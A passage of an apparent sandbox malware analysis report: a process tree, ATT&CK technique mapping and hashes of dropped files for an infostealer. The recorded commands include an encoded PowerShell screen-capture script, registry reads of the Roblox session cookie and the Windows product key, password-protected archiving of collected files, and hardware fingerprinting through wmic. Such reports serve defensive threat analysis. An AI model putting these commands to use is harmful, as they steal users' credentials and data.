HQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4224
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4jzzrwhk\4jzzrwhk.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6104
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFCAB.tmp" "c:\Users\Admin\AppData\Local\Temp\4jzzrwhk\CSC93A7D94B36949DA8984A0D67EA3967C.TMP"
        6⤵
        
        PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1348
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:248
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5940
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1068
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:4056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\EJyxt.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\EJyxt.zip" *
      4⤵
      Executes dropped EXE
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5136
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:2900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5916
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 07aadd9465b8d2390cef6aeb008d0111ef288d615655a7445ed5f4ff3050e739
MD5 8bb18a17ed1c0557b88e114f0e490167
SHA1 200178f810a2700be30c1a317292fb2f4357f6df
SHA512 50a5982e7aa03fcc453ef4f4614716169e462d37ef2dc3eada753dcee196b0c68cb540e7c9bd1185bc6bc5364f83edd6a1db81248cc9cba4c8b39b98204760cf
TLSH
T1C3216633F3CD8625D899403A40CEAC1036B6D7DB409FCE5BAB84D508B43F689CE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f1dc4ef912df08f9de7935e779e748dd89325c419c3fa97fb8215c00f6114fb4
MD5 600ebbe830d463eb8f33d418cbfecdf3
SHA1 9f51c12fe808fe1c7c942e2dde884755029867c9
SHA512 7904044b313c5fcee5a89ac831a12f45ed86edd927376df9d96a141bedef19bd9e627bc13209b82f5b05d6ca4677ce217b18ba8af2224d808439f9f1486b7d41
TLSH
T181215333F3CC8624C89A403A50CEAC1036B6C7DB419ECEABBB84D154A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

4jzzrwhk.dll

Path C:\Users\Admin\AppData\Local\Temp\4jzzrwhk\4jzzrwhk.dll
Size 4KB
SHA256 d6ca7ce699bf3d04a1d0a2e2837af2870851f0b9cdc79694cddbdd66412a4b12
MD5 82e5f562218cbc256a639cf414ab1ee9
SHA1 38b0dcc92fc0dc88e27f917f81f2b267ddc4e09f
SHA512 c2a09a8adf7355c81701e6fa9b51ab5603c054403943cc868efae450a9ee273ac24ad1fa46a0374247b82bcdb39201afa12523d2748b50680feeae86ee0d96e4
TLSH
T1B781641693EC857AF4BE0775ADE383071B74A9208A32E34F1C84126CAC30360AB25FA1
MD5 SHA1 SHA512 TLSH

Submit Download

RESFCAB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFCAB.tmp
Size 1KB
SHA256 9c76dac6a82c3d0b0305294039144f91f21b672bad36d0ff1bccdc86d0764496
MD5 da49ab6812a6adb4f69b6b60dbcb85f1
SHA1 41daa0e4727d102cef1f82ce689eff023a3c7eb5
SHA512 7f4ca5a1f2a3052428d667c16874a2365cb561d3bbc68634a79600ef9db8b0764549f75440fa56df6d4801cc0c950a4010174ef32508abc9d2277102d16db692
TLSH
T146216D0993F9471FF0775731A9F6132FE274FDA4EF6253AA8540422C1C51644EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_bz2.pyd
Size 50KB
SHA256 000a5082d2797e91e370be7c92c57abe6c40457c2a4a6c9739562c139fc49d9c
MD5 1732a1ecdff7a854cd8a3e592532d2d0
SHA1 708aea226e72453b8258c8a1ed6c2b483139d7a2
SHA512 b143d5741c59a3fa575a32a7af6b890fe93cf91b65333aa71fa387cd5aa33e91d5fb7cb61291b59f4483a31525e16df4b6adcb47759d75b30d02876e25fcddd8
SSDEEP 1536:epzkiPLs8sVmJtzNvbfpT7/TXIqLVkeyPs5i9LgfIL2F:eWqI18Jt5vbx/LIqLVkrhs
TLSH
T10933D0E7063C5056EA23DA7092E4DD86F938B7E31444CB2724ADA2B50F573C0EF29635
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_ctypes.pyd
Size 64KB
SHA256 1ac493ceed760895497dde525c320287f7c2459938dd8e5eee4bdb4c047758dc
MD5 86351632981846ce5f17ff1a783b9aac
SHA1 c12b4c265f50b43127958af9cfa770f48d42498f
SHA512 499317d3a5d9e5439fa23c644196f23593cadfc6a26eb96903ba36351ebde2243044a653d40a9673aca5a414f86d5947fd44036fd6a6946792e9e77b5d098740
SSDEEP 1536:Nt0F+GkKl2K/H2xo2pvEHPowcOPDBIqyPfyyPs5i9RfIL82:T0UxKl2qHIpsRrPVIqyPfmt
TLSH
T13F53E18B537C8157DB13A9B0E7D8DA46B93A73D31EE1866B24FCE2B20A137404716379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_hashlib.pyd
Size 38KB
SHA256 4a3a77c829ddc9294559a122bd9d83df9fe99d4a4a4849bf39c6d8d5f45789f2
MD5 2b9a7cbfdbc70b94a2a4a2c1a1771c92
SHA1 a4622bb36dc499f71cf1a2597f7827423e475bcf
SHA512 3722efda19f5aabb00a03ab7c5549e98287080b2263db950f4a1880561959e0fa34e89217f3bccb18e69f184ff2204ee3d098fbeb477d4d5eb0765be152a9903
SSDEEP 768:9U8tHSCtcTSGsw6jWYpqeIqvI0yyPsSvPuBL2Ip4ZTxf1mlRaXz6lS:G8BpIS7wMYeIqvI0yyPs5i9rfIYzWS
TLSH
T11303C1D7427CC157EF2269B291D8ED83F63973E324199B3630DDA19A4C7B3C1A701268
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_lzma.pyd
Size 87KB
SHA256 47898088f95da6b1258b8dac83c80c26b17c86dea4076683014a1ac70e1824de
MD5 5a4ab9f0b668b005808b423c0103bba4
SHA1 cab5e9389a0a5e9cbe7d4840a452ddf12dd63b3c
SHA512 e08113bed277132eacbf87ae5cdb8b5fe2cf87ce1ec3910b44e5439a788997899653be76b84bec3292d8de4ccb40e067b75bac369334ccd5609a51a40b7df310
SSDEEP 1536:5ONIfK9gEmbV2Y6OBQX8dlOyzkyqo594A/CI9XtZIq01vjyPs5i9nfIYGw:FfCA6OB3ONyl4MB/Iq01vl0
TLSH
T1FA93F1C61B3CC141F8339E74A2D8EAC6F534BBC31159C6AB31A562B51F63BC19F1924A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_queue.pyd
Size 28KB
SHA256 f15cd7f9e8c841f9c4f601f4ac892acd1a2699e452cecee6b705753cb26b10bc
MD5 d2b0dd30283463f95ebfd2e28a818830
SHA1 386a8d390e8ae1398d5a4d05e5b5c6f9ddcbfa3f
SHA512 896c8dab01001342befb957d7009f36279a7ccea78c7a30f53d0b079b83d7014040fe757a85fd9b3a40f1246140bacbf6e0ab6527628c16b65234446c5c6d582
SSDEEP 768:BbMdi6OPRpHaIq9URKyPsSvPuBL2Ip48C3Txf1mlRaXk6t:BbMdijjaIq9URKyPs5i9xfIYk4
TLSH
T122D29FEA42789057E7639D7061D0DDC6FD387BD36414462B30E9A2D60E173D09327369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI0000144c2\_socket.pyd
Size 46KB
SHA256 30ce282a1055296a3bfee0e3b69fd5f0f271d1ac577c138da2fd764c8b4e08c6
MD5 1b8e0746690e16e810d850fb8c0dc360
SHA1 fcf65f56e04bc4687ef7752cb3c615e0129f8a5a
SHA512 c5fdd830fc314439438f9b4b14d9f5bdce37d462da7b4e57e0930d6c977a1f0964c670c9bdc5969a2a1782d534ef3892d00e3ee5a6133c99fe99e8e3b9e0d632
SSDEEP 768:GrF4IG/W8/OjFE5cTbkCeovpebhIqyw09snHVyPsSvPuBL2Ip4jTxf1mlRaXv64:GB4BLiAc3IoIbhIqyw0mHVyPs5i9hfIW
TLSH
T10423D0C741698057DB43BEF052A4ED83FB35B7E3641587AB30A9A6990E133D2DB07368
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

